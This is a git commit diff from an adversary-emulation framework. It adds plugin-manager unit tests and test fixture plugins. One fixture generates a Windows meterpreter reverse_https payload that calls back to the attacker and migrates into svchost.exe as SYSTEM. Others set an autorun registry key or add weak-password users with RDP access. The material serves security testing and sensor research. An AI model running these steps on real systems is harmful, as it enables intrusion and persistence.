Unit tests for pluginmanager

pull/14/head
Thorsten Sick 3 years ago
parent de71244776
commit f9616c1d75

@ -4,11 +4,14 @@
from glob import glob
import os
import straight.plugin # type: ignore
from typing import Optional
from plugins.base.plugin_base import BasePlugin
from plugins.base.attack import AttackPlugin
from plugins.base.machinery import MachineryPlugin
from plugins.base.ssh_features import SSHFeatures
from plugins.base.sensor import SensorPlugin
from plugins.base.vulnerability_plugin import VulnerabilityPlugin
from app.interface_sfx import CommandlineColors
from app.attack_log import AttackLog
@ -29,15 +32,19 @@ sections = [{"name": "Vulnerabilities",
class PluginManager():
""" Manage plugins """
def __init__(self, attack_logger: AttackLog):
def __init__(self, attack_logger: AttackLog, basedir: Optional[str] = None):
"""
@param attack_logger: The attack logger to use
@param basedir: optional base directory for plugins. A glob
"""
self.base = "plugins/**/*.py"
if basedir is None:
self.base = "plugins/**/*.py"
else:
self.base = basedir
self.attack_logger = attack_logger
def get_plugins(self, subclass, name_filter=None) -> list[BasePlugin]:
def get_plugins(self, subclass, name_filter: Optional[list[str]] = None) -> list[BasePlugin]:
""" Returns a list plugins matching specified criteria
@ -118,6 +125,8 @@ class PluginManager():
issues = []
# Base functionality for all plugin types
# Sensors
if issubclass(type(plugin), SensorPlugin):
# essential methods: collect
@ -138,7 +147,7 @@ class PluginManager():
if plugin.get_state.__func__ is MachineryPlugin.get_state:
report = f"Method 'get_state' not implemented in {plugin.get_name()} in {plugin.plugin_path}"
issues.append(report)
if plugin.get_ip.__func__ is MachineryPlugin.get_ip:
if (plugin.get_ip.__func__ is MachineryPlugin.get_ip) or (plugin.get_ip.__func__ is SSHFeatures.get_ip):
report = f"Method 'get_ip' not implemented in {plugin.get_name()} in {plugin.plugin_path}"
issues.append(report)
if plugin.up.__func__ is MachineryPlugin.up:

@ -23,7 +23,7 @@ def check_plugins(arguments):
attack_logger = AttackLog(arguments.verbose)
plugin_manager = PluginManager(attack_logger)
res = plugin_manager.print_check()
if len(res) == 0:
if len(res) != 0:
print("*************************************")
print("Some issues in plugins were found: ")
print("\n".join(res))

@ -0,0 +1,20 @@
targets:
target1:
vm_controller:
type: vagrant
vagrantfilepath: systems
vm_name: target1
os: linux
###
# Targets need a unique PAW name for caldera
paw: target1
###
# Targets need to be in a group for caldera
group: red
machinepath: target1
# Do not destroy/create the machine: Set this to "yes".
use_existing_machine: yes
attackers:

@ -0,0 +1,22 @@
#!/usr/bin/env python3
# A plugin to nmap targets slow motion, to evade sensors
from plugins.base.attack import AttackPlugin, Requirement
class MissingRunPlugin(AttackPlugin):
# Boilerplate
name = "missing_run"
description = "Migrate meterpreter to another process via metasploit"
ttp = "T1055"
references = ["https://attack.mitre.org/techniques/T1055/"]
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
requirements = [Requirement.METASPLOIT]
def __init__(self):
super().__init__()
self.plugin_path = __file__

@ -0,0 +1,43 @@
#!/usr/bin/env python3
# A plugin to nmap targets slow motion, to evade sensors
from plugins.base.attack import AttackPlugin, Requirement
from app.interface_sfx import CommandlineColors
class CalderaAutostartPlugin1(AttackPlugin):
# Boilerplate
name = "caldera_autostart_1"
description = "Setting a registry key for autostart"
ttp = "T1547.1"
references = ["https://attack.mitre.org/techniques/T1547/001/"]
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
requirements = [Requirement.CALDERA]
def __init__(self):
super().__init__()
self.plugin_path = __file__
def run(self, targets):
""" Run the command
@param targets: A list of targets, ip addresses will do
"""
# HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
res = ""
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Starting caldera attack to add run key {CommandlineColors.ENDC}", 1)
self.caldera_attack(self.targets[0],
"163b023f43aba758d36f524d146cb8ea",
parameters={"command_to_execute": r"C:\\Windows\\system32\\calc.exe"},
tactics="Persistence",
tactics_id="TA0003",
situation_description="Setting an autorun key runonce")
self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Ending caldera attack to add run key {CommandlineColors.ENDC}", 1)
return res

@ -0,0 +1,43 @@
#!/usr/bin/env python3
# A plugin to control already running vms
from plugins.base.machinery import MachineryPlugin, MachineStates
from plugins.base.ssh_features import SSHFeatures
class MachineryNoCreate(SSHFeatures, MachineryPlugin):
# Boilerplate
name = "machinery_no_create"
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
def __init__(self):
super().__init__()
self.plugin_path = __file__
self.vagrantfilepath = None
self.vagrantfile = None
def up(self):
""" Start a machine, create it if it does not exist """
return
def halt(self):
""" Halt a machine """
return
def destroy(self):
""" Destroy a machine """
return
def get_state(self):
""" Get detailed state of a machine """
return MachineStates.RUNNING
def get_ip(self):
""" Return the machine ip """
return self.config.vm_ip()

@ -0,0 +1,46 @@
#!/usr/bin/env python3
# A plugin to control already running vms
from plugins.base.machinery import MachineryPlugin, MachineStates
from plugins.base.ssh_features import SSHFeatures
class MachineryNoDestroy(SSHFeatures, MachineryPlugin):
# Boilerplate
name = "machinery_no_destroy"
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
def __init__(self):
super().__init__()
self.plugin_path = __file__
self.vagrantfilepath = None
self.vagrantfile = None
def create(self, reboot=True):
""" Create a machine
@param reboot: Reboot the VM during installation. Required if you want to install software
"""
return
def up(self):
""" Start a machine, create it if it does not exist """
return
def halt(self):
""" Halt a machine """
return
def get_state(self):
""" Get detailed state of a machine """
return MachineStates.RUNNING
def get_ip(self):
""" Return the machine ip """
return self.config.vm_ip()

@ -0,0 +1,46 @@
#!/usr/bin/env python3
# A plugin to control already running vms
from plugins.base.machinery import MachineryPlugin, MachineStates
from plugins.base.ssh_features import SSHFeatures
class MachineryNoHalt(SSHFeatures, MachineryPlugin):
# Boilerplate
name = "machinery_no_halt"
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
def __init__(self):
super().__init__()
self.plugin_path = __file__
self.vagrantfilepath = None
self.vagrantfile = None
def create(self, reboot=True):
""" Create a machine
@param reboot: Reboot the VM during installation. Required if you want to install software
"""
return
def up(self):
""" Start a machine, create it if it does not exist """
return
def destroy(self):
""" Destroy a machine """
return
def get_state(self):
""" Get detailed state of a machine """
return MachineStates.RUNNING
def get_ip(self):
""" Return the machine ip """
return self.config.vm_ip()

@ -0,0 +1,45 @@
#!/usr/bin/env python3
# A plugin to control already running vms
from plugins.base.machinery import MachineryPlugin, MachineStates
from plugins.base.ssh_features import SSHFeatures
class MachineryNoIp(SSHFeatures, MachineryPlugin):
# Boilerplate
name = "machinery_no_ip"
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
def __init__(self):
super().__init__()
self.plugin_path = __file__
self.vagrantfilepath = None
self.vagrantfile = None
def create(self, reboot=True):
""" Create a machine
@param reboot: Reboot the VM during installation. Required if you want to install software
"""
return
def up(self):
""" Start a machine, create it if it does not exist """
return
def halt(self):
""" Halt a machine """
return
def destroy(self):
""" Destroy a machine """
return
def get_state(self):
""" Get detailed state of a machine """
return MachineStates.RUNNING

@ -0,0 +1,45 @@
#!/usr/bin/env python3
# A plugin to control already running vms
from plugins.base.machinery import MachineryPlugin
from plugins.base.ssh_features import SSHFeatures
class MachineryNoState(SSHFeatures, MachineryPlugin):
# Boilerplate
name = "machinery_no_state"
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
def __init__(self):
super().__init__()
self.plugin_path = __file__
self.vagrantfilepath = None
self.vagrantfile = None
def create(self, reboot=True):
""" Create a machine
@param reboot: Reboot the VM during installation. Required if you want to install software
"""
return
def up(self):
""" Start a machine, create it if it does not exist """
return
def halt(self):
""" Halt a machine """
return
def destroy(self):
""" Destroy a machine """
return
def get_ip(self):
""" Return the machine ip """
return self.config.vm_ip()

@ -0,0 +1,46 @@
#!/usr/bin/env python3
# A plugin to control already running vms
from plugins.base.machinery import MachineryPlugin, MachineStates
from plugins.base.ssh_features import SSHFeatures
class MachineryNoUp(SSHFeatures, MachineryPlugin):
# Boilerplate
name = "machinery_no_up"
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
def __init__(self):
super().__init__()
self.plugin_path = __file__
self.vagrantfilepath = None
self.vagrantfile = None
def create(self, reboot=True):
""" Create a machine
@param reboot: Reboot the VM during installation. Required if you want to install software
"""
return
def halt(self):
""" Halt a machine """
return
def destroy(self):
""" Destroy a machine """
return
def get_state(self):
""" Get detailed state of a machine """
return MachineStates.RUNNING
def get_ip(self):
""" Return the machine ip """
return self.config.vm_ip()

@ -0,0 +1,50 @@
#!/usr/bin/env python3
# A plugin to control already running vms
from plugins.base.machinery import MachineryPlugin, MachineStates
from plugins.base.ssh_features import SSHFeatures
class MachineryOk(SSHFeatures, MachineryPlugin):
# Boilerplate
name = "machinery_ok"
description = "A plugin to handle already running machines. The machine will not be started/stopped by this plugin"
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
def __init__(self):
super().__init__()
self.plugin_path = __file__
self.vagrantfilepath = None
self.vagrantfile = None
def create(self, reboot=True):
""" Create a machine
@param reboot: Reboot the VM during installation. Required if you want to install software
"""
return
def up(self):
""" Start a machine, create it if it does not exist """
return
def halt(self):
""" Halt a machine """
return
def destroy(self):
""" Destroy a machine """
return
def get_state(self):
""" Get detailed state of a machine """
return MachineStates.RUNNING
def get_ip(self):
""" Return the machine ip """
return self.config.vm_ip()

@ -0,0 +1,49 @@
#!/usr/bin/env python3
# A plugin to nmap targets slow motion, to evade sensors
from plugins.base.attack import AttackPlugin, Requirement
import socket
class MetasploitMigratePlugin(AttackPlugin):
# Boilerplate
name = "metasploit_migrate"
description = "Migrate meterpreter to another process via metasploit"
ttp = "T1055"
references = ["https://attack.mitre.org/techniques/T1055/"]
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
requirements = [Requirement.METASPLOIT]
def __init__(self):
super().__init__()
self.plugin_path = __file__
def run(self, targets):
""" Run the command
@param targets: A list of targets, ip addresses will do
"""
res = ""
payload_type = "windows/x64/meterpreter/reverse_https"
payload_name = "babymetal.exe"
target = self.targets[0]
ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip())
self.metasploit.smart_infect(target,
payload=payload_type,
architecture="x64",
platform="windows",
lhost=ip,
format="exe",
outfile=payload_name
)
self.metasploit.migrate(target, user="NT AUTHORITY\\SYSTEM", name="svchost.exe", arch="x64")
return res

@ -0,0 +1,94 @@
#!/usr/bin/env python3
# A plugin to experiment with Linux logstash filebeat sensors
from plugins.base.sensor import SensorPlugin
import os
from jinja2 import Environment, FileSystemLoader, select_autoescape
class SensorMissingCollectPlugin(SensorPlugin):
# Boilerplate
name = "missing_collect"
description = "Linux filebeat plugin"
required_files = ["filebeat.conf",
"filebeat.yml",
]
def __init__(self):
super().__init__()
self.plugin_path = __file__
self.debugit = False
def process_templates(self):
""" process jinja2 templates of the config files and insert own config """
env = Environment(
loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False),
autoescape=select_autoescape()
)
template = env.get_template("filebeat_template.conf")
dest = os.path.join(self.get_plugin_path(), "filebeat.conf")
with open(dest, "wt") as fh:
res = template.render({"playground": self.get_playground()})
fh.write(res)
def prime(self):
""" Hard-core install. Requires a reboot """
# For reference: This is the core config we will need. In addition there are two reg files to apply to the registry
# sc control aswbidsagent 255
# timeout /t 5
# 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"'
# reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f
# timeout /t 2
# sc start aswbidsagent
# Important: AV must be 21.2
# dll_name = self.conf["dll_name"]
# idp_tool_folder = self.conf["idp_tool_folder"]
pg = self.get_playground()
self.vprint("Installing Linux filebeat sensor", 3)
self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -")
self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list')
self.run_cmd("sudo apt update")
self.run_cmd("sudo apt -y install default-jre")
self.run_cmd("sudo apt -y install logstash")
self.run_cmd("sudo apt -y install filebeat")
# Copy config
self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml")
self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d")
# Cleanup
self.run_cmd(f"rm {pg}/filebeat.json")
self.run_cmd(f"touch {pg}/filebeat.json")
self.run_cmd(f"chmod o+w {pg}/filebeat.json")
return False
def install(self):
""" Installs the filebeat sensor """
return
def start(self):
self.run_cmd("sudo filebeat modules enable system,iptables")
self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,")
self.run_cmd("sudo systemctl enable filebeat")
self.run_cmd("sudo systemctl start filebeat")
self.run_cmd("sudo systemctl enable logstash.service")
self.run_cmd("sudo systemctl start logstash.service")
return None
def stop(self):
""" Stop the sensor """
return

@ -0,0 +1,102 @@
#!/usr/bin/env python3
# A plugin to experiment with Linux logstash filebeat sensors
from plugins.base.sensor import SensorPlugin
import os
from jinja2 import Environment, FileSystemLoader, select_autoescape
class SensorOkPlugin(SensorPlugin):
# Boilerplate
name = "sensor_ok"
description = "Linux filebeat plugin"
required_files = ["filebeat.conf",
"filebeat.yml",
]
def __init__(self):
super().__init__()
self.plugin_path = __file__
self.debugit = False
def process_templates(self):
""" process jinja2 templates of the config files and insert own config """
env = Environment(
loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False),
autoescape=select_autoescape()
)
template = env.get_template("filebeat_template.conf")
dest = os.path.join(self.get_plugin_path(), "filebeat.conf")
with open(dest, "wt") as fh:
res = template.render({"playground": self.get_playground()})
fh.write(res)
def prime(self):
""" Hard-core install. Requires a reboot """
# For reference: This is the core config we will need. In addition there are two reg files to apply to the registry
# sc control aswbidsagent 255
# timeout /t 5
# 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"'
# reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f
# timeout /t 2
# sc start aswbidsagent
# Important: AV must be 21.2
# dll_name = self.conf["dll_name"]
# idp_tool_folder = self.conf["idp_tool_folder"]
pg = self.get_playground()
self.vprint("Installing Linux filebeat sensor", 3)
self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -")
self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list')
self.run_cmd("sudo apt update")
self.run_cmd("sudo apt -y install default-jre")
self.run_cmd("sudo apt -y install logstash")
self.run_cmd("sudo apt -y install filebeat")
# Copy config
self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml")
self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d")
# Cleanup
self.run_cmd(f"rm {pg}/filebeat.json")
self.run_cmd(f"touch {pg}/filebeat.json")
self.run_cmd(f"chmod o+w {pg}/filebeat.json")
return False
def install(self):
""" Installs the filebeat sensor """
return
def start(self):
self.run_cmd("sudo filebeat modules enable system,iptables")
self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,")
self.run_cmd("sudo systemctl enable filebeat")
self.run_cmd("sudo systemctl start filebeat")
self.run_cmd("sudo systemctl enable logstash.service")
self.run_cmd("sudo systemctl start logstash.service")
return None
def stop(self):
""" Stop the sensor """
return
def collect(self, path):
""" Collect sensor data """
pg = self.get_playground()
dst = os.path.join(path, "filebeat.json")
self.get_from_machine(f"{pg}/filebeat.json", dst) # nosec
return [dst]

@ -0,0 +1,102 @@
#!/usr/bin/env python3
# A plugin to experiment with Linux logstash filebeat sensors
from plugins.base.sensor import SensorPlugin
import os
from jinja2 import Environment, FileSystemLoader, select_autoescape
class SensorIgnoreMePlugin(SensorPlugin):
# Boilerplate
name = "ignore_me"
description = "Linux filebeat plugin"
required_files = ["filebeat.conf",
"filebeat.yml",
]
def __init__(self):
super().__init__()
self.plugin_path = __file__
self.debugit = False
def process_templates(self):
""" process jinja2 templates of the config files and insert own config """
env = Environment(
loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False),
autoescape=select_autoescape()
)
template = env.get_template("filebeat_template.conf")
dest = os.path.join(self.get_plugin_path(), "filebeat.conf")
with open(dest, "wt") as fh:
res = template.render({"playground": self.get_playground()})
fh.write(res)
def prime(self):
""" Hard-core install. Requires a reboot """
# For reference: This is the core config we will need. In addition there are two reg files to apply to the registry
# sc control aswbidsagent 255
# timeout /t 5
# 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"'
# reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f
# timeout /t 2
# sc start aswbidsagent
# Important: AV must be 21.2
# dll_name = self.conf["dll_name"]
# idp_tool_folder = self.conf["idp_tool_folder"]
pg = self.get_playground()
self.vprint("Installing Linux filebeat sensor", 3)
self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -")
self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list')
self.run_cmd("sudo apt update")
self.run_cmd("sudo apt -y install default-jre")
self.run_cmd("sudo apt -y install logstash")
self.run_cmd("sudo apt -y install filebeat")
# Copy config
self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml")
self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d")
# Cleanup
self.run_cmd(f"rm {pg}/filebeat.json")
self.run_cmd(f"touch {pg}/filebeat.json")
self.run_cmd(f"chmod o+w {pg}/filebeat.json")
return False
def install(self):
""" Installs the filebeat sensor """
return
def start(self):
self.run_cmd("sudo filebeat modules enable system,iptables")
self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,")
self.run_cmd("sudo systemctl enable filebeat")
self.run_cmd("sudo systemctl start filebeat")
self.run_cmd("sudo systemctl enable logstash.service")
self.run_cmd("sudo systemctl start logstash.service")
return None
def stop(self):
""" Stop the sensor """
return
def collect(self, path):
""" Collect sensor data """
pg = self.get_playground()
dst = os.path.join(path, "filebeat.json")
self.get_from_machine(f"{pg}/filebeat.json", dst) # nosec
return [dst]

@ -0,0 +1,102 @@
#!/usr/bin/env python3
# A plugin to experiment with Linux logstash filebeat sensors
from plugins.base.sensor import SensorPlugin
import os
from jinja2 import Environment, FileSystemLoader, select_autoescape
class SensorPickMePlugin(SensorPlugin):
# Boilerplate
name = "pick_me"
description = "Linux filebeat plugin"
required_files = ["filebeat.conf",
"filebeat.yml",
]
def __init__(self):
super().__init__()
self.plugin_path = __file__
self.debugit = False
def process_templates(self):
""" process jinja2 templates of the config files and insert own config """
env = Environment(
loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False),
autoescape=select_autoescape()
)
template = env.get_template("filebeat_template.conf")
dest = os.path.join(self.get_plugin_path(), "filebeat.conf")
with open(dest, "wt") as fh:
res = template.render({"playground": self.get_playground()})
fh.write(res)
def prime(self):
""" Hard-core install. Requires a reboot """
# For reference: This is the core config we will need. In addition there are two reg files to apply to the registry
# sc control aswbidsagent 255
# timeout /t 5
# 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"'
# reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f
# timeout /t 2
# sc start aswbidsagent
# Important: AV must be 21.2
# dll_name = self.conf["dll_name"]
# idp_tool_folder = self.conf["idp_tool_folder"]
pg = self.get_playground()
self.vprint("Installing Linux filebeat sensor", 3)
self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -")
self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list')
self.run_cmd("sudo apt update")
self.run_cmd("sudo apt -y install default-jre")
self.run_cmd("sudo apt -y install logstash")
self.run_cmd("sudo apt -y install filebeat")
# Copy config
self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml")
self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d")
# Cleanup
self.run_cmd(f"rm {pg}/filebeat.json")
self.run_cmd(f"touch {pg}/filebeat.json")
self.run_cmd(f"chmod o+w {pg}/filebeat.json")
return False
def install(self):
""" Installs the filebeat sensor """
return
def start(self):
self.run_cmd("sudo filebeat modules enable system,iptables")
self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,")
self.run_cmd("sudo systemctl enable filebeat")
self.run_cmd("sudo systemctl start filebeat")
self.run_cmd("sudo systemctl enable logstash.service")
self.run_cmd("sudo systemctl start logstash.service")
return None
def stop(self):
""" Stop the sensor """
return
def collect(self, path):
""" Collect sensor data """
pg = self.get_playground()
dst = os.path.join(path, "filebeat.json")
self.get_from_machine(f"{pg}/filebeat.json", dst) # nosec
return [dst]

@ -0,0 +1,43 @@
#!/usr/bin/env python3
# Some users are created (with weak passwords) and sshd is set to allow password-based access
from plugins.base.vulnerability_plugin import VulnerabilityPlugin
class VulnerabilityOk(VulnerabilityPlugin):
# Boilerplate
name = "missing_start"
description = "Adding users with weak passwords"
ttp = "T1110"
references = ["https://attack.mitre.org/techniques/T1110/"]
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
def __init__(self):
super().__init__()
self.plugin_path = __file__
def stop(self):
if self.machine_plugin.config.os() == "linux":
for user in self.conf["linux"]:
# Remove user
cmd = f"sudo userdel -r {user['name']}"
self.run_cmd(cmd)
elif self.machine_plugin.config.os() == "windows":
for user in self.conf["windows"]:
# net user username /delete
cmd = f"net user {user['name']} /delete"
self.run_cmd(cmd)
# Remove the new users to RDP (just in case we want to test RDP)
for user in self.conf["windows"]:
# net user username /delete
cmd = f""""NET LOCALGROUP "Remote Desktop Users" {user['name']} /DELETE"""
self.run_cmd(cmd)
else:
raise NotImplementedError

@ -0,0 +1,46 @@
#!/usr/bin/env python3
# Some users are created (with weak passwords) and sshd is set to allow password-based access
from plugins.base.vulnerability_plugin import VulnerabilityPlugin
class VulnerabilityOk(VulnerabilityPlugin):
# Boilerplate
name = "missing_stop"
description = "Adding users with weak passwords"
ttp = "T1110"
references = ["https://attack.mitre.org/techniques/T1110/"]
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
def __init__(self):
super().__init__()
self.plugin_path = __file__
def start(self):
if self.machine_plugin.config.os() == "linux":
# Add vulnerable user
# mkpasswd -m sha-512 # To calc the passwd
# This is in the debian package "whois"
for user in self.conf["linux"]:
cmd = f"sudo useradd -m -p '{user['password']}' -s /bin/bash {user['name']}"
self.run_cmd(cmd)
elif self.machine_plugin.config.os() == "windows":
for user in self.conf["windows"]:
# net user username password /add
cmd = f"net user {user['name']} {user['password']} /add"
self.run_cmd(cmd)
for user in self.conf["windows"]:
# Adding the new users to RDP (just in case we want to test RDP)
cmd = f"""NET LOCALGROUP "Remote Desktop Users" {user['name']} /ADD"""
self.run_cmd(cmd)
else:
raise NotImplementedError

@ -0,0 +1,69 @@
#!/usr/bin/env python3
# Some users are created (with weak passwords) and sshd is set to allow password-based access
from plugins.base.vulnerability_plugin import VulnerabilityPlugin
class VulnerabilityOk(VulnerabilityPlugin):
# Boilerplate
name = "vulnerability_ok"
description = "Adding users with weak passwords"
ttp = "T1110"
references = ["https://attack.mitre.org/techniques/T1110/"]
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
def __init__(self):
super().__init__()
self.plugin_path = __file__
def start(self):
if self.machine_plugin.config.os() == "linux":
# Add vulnerable user
# mkpasswd -m sha-512 # To calc the passwd
# This is in the debian package "whois"
for user in self.conf["linux"]:
cmd = f"sudo useradd -m -p '{user['password']}' -s /bin/bash {user['name']}"
self.run_cmd(cmd)
elif self.machine_plugin.config.os() == "windows":
for user in self.conf["windows"]:
# net user username password /add
cmd = f"net user {user['name']} {user['password']} /add"
self.run_cmd(cmd)
for user in self.conf["windows"]:
# Adding the new users to RDP (just in case we want to test RDP)
cmd = f"""NET LOCALGROUP "Remote Desktop Users" {user['name']} /ADD"""
self.run_cmd(cmd)
else:
raise NotImplementedError
def stop(self):
if self.machine_plugin.config.os() == "linux":
for user in self.conf["linux"]:
# Remove user
cmd = f"sudo userdel -r {user['name']}"
self.run_cmd(cmd)
elif self.machine_plugin.config.os() == "windows":
for user in self.conf["windows"]:
# net user username /delete
cmd = f"net user {user['name']} /delete"
self.run_cmd(cmd)
# Remove the new users to RDP (just in case we want to test RDP)
for user in self.conf["windows"]:
# net user username /delete
cmd = f""""NET LOCALGROUP "Remote Desktop Users" {user['name']} /DELETE"""
self.run_cmd(cmd)
else:
raise NotImplementedError

@ -0,0 +1,176 @@
import unittest
from app.pluginmanager import PluginManager
from app.attack_log import AttackLog
from plugins.base.sensor import SensorPlugin
from plugins.base.attack import AttackPlugin
from plugins.base.vulnerability_plugin import VulnerabilityPlugin
from plugins.base.machinery import MachineryPlugin
# https://docs.python.org/3/library/unittest.html
class TestMachineControl(unittest.TestCase):
def setUp(self) -> None:
self.attack_logger = AttackLog(0)
def test_basic_pluginmanager_init(self):
""" just a simple init """
p = PluginManager(self.attack_logger)
self.assertIsNotNone(p)
def test_basic_pluginmanager_get_plugins_empty(self):
""" just a simple getting plugins with empty directory """
p = PluginManager(self.attack_logger, "tests/plugins/none")
self.assertEqual(p.get_plugins(AttackPlugin), [])
def test_basic_pluginmanager_get_caldera_plugin(self):
""" just a simple getting the one caldera plugin """
p = PluginManager(self.attack_logger, "tests/plugins/caldera/caldera_ok.py")
plugins = p.get_plugins(AttackPlugin)
self.assertEqual(plugins[0].name, "caldera_autostart_1")
self.assertEqual(len(plugins), 1)
def test_basic_pluginmanager_count_caldera_plugin(self):
""" counting caldera requirements """
p = PluginManager(self.attack_logger, "tests/plugins/caldera/caldera_ok.py")
plugins = p.count_caldera_requirements(AttackPlugin, None)
self.assertEqual(plugins, 1)
def test_basic_pluginmanager_count_metasploit_plugin(self):
""" counting caldera requirements """
p = PluginManager(self.attack_logger, "tests/plugins/caldera/caldera_ok.py")
plugins = p.count_metasploit_requirements(AttackPlugin, None)
self.assertEqual(plugins, 0)
def test_basic_pluginmanager_count_metasploit_plugin_2(self):
""" counting metasploit requirements """
p = PluginManager(self.attack_logger, "tests/plugins/metasploit/metasploit_ok.py")
plugins = p.count_metasploit_requirements(AttackPlugin, None)
self.assertEqual(plugins, 1)
def test_basic_pluginmanager_check_ok(self):
""" basic check for a plugin, ok """
p = PluginManager(self.attack_logger, "tests/plugins/metasploit/metasploit_ok.py")
plugins = p.get_plugins(AttackPlugin)
c = p.check(plugins[0])
self.assertEqual(c, [])
def test_basic_pluginmanager_check_sensor_plugin_ok(self):
""" just a simple getting the one sensor plugin """
p = PluginManager(self.attack_logger, "tests/plugins/sensor/sensor_ok/*.py")
plugins = p.get_plugins(SensorPlugin)
c = p.check(plugins[0])
self.assertEqual(c, [])
def test_basic_pluginmanager_check_sensor_plugin_missing_collect(self):
""" a sensor plugin with missing collect should throw an error on check"""
p = PluginManager(self.attack_logger, "tests/plugins/sensor/missing_collect/*.py")
plugins = p.get_plugins(SensorPlugin)
c = p.check(plugins[0])
self.assertRegexpMatches(c[0], "Method 'collect' not implemented in missing_collect in .*")
def test_basic_pluginmanager_pick_sensor_plugin_by_name(self):
""" get a plugin by name """
p = PluginManager(self.attack_logger, "tests/plugins/sensor/two_sensors/*/*.py")
plugins = p.get_plugins(SensorPlugin, ["pick_me"])
self.assertEqual(len(plugins), 1)
self.assertEqual(plugins[0].get_name(), "pick_me")
def test_basic_pluginmanager_pick_sensor_plugin_by_name_2(self):
""" get two plugins by name """
p = PluginManager(self.attack_logger, "tests/plugins/sensor/two_sensors/*/*.py")
plugins = p.get_plugins(SensorPlugin, ["pick_me", "ignore_me"])
self.assertEqual(len(plugins), 2)
def test_basic_pluginmanager_pick_sensor_plugin_by_name_3(self):
""" not finding any plugin by name """
p = PluginManager(self.attack_logger, "tests/plugins/sensor/two_sensors/*/*.py")
plugins = p.get_plugins(SensorPlugin, ["fail"])
self.assertEqual(len(plugins), 0)
def test_basic_pluginmanager_check_attack_plugin_missing_run(self):
""" a attack plugin with missing run should throw an error on check"""
p = PluginManager(self.attack_logger, "tests/plugins/attack/missing_run/*.py")
plugins = p.get_plugins(AttackPlugin)
c = p.check(plugins[0])
self.assertRegex(c[0], "Method 'run' not implemented in missing_run in .*")
def test_basic_pluginmanager_check_vulnerability_plugin_ok(self):
""" a vulnerability plugin ok on check"""
p = PluginManager(self.attack_logger, "tests/plugins/vulnerabilities/ok/*.py")
plugins = p.get_plugins(VulnerabilityPlugin)
c = p.check(plugins[0])
self.assertEqual(len(c), 0)
def test_basic_pluginmanager_check_vulnerability_plugin_missing_start(self):
""" a vulnerability plugin with missing start should throw an error on check"""
p = PluginManager(self.attack_logger, "tests/plugins/vulnerabilities/no_start/*.py")
plugins = p.get_plugins(VulnerabilityPlugin)
c = p.check(plugins[0])
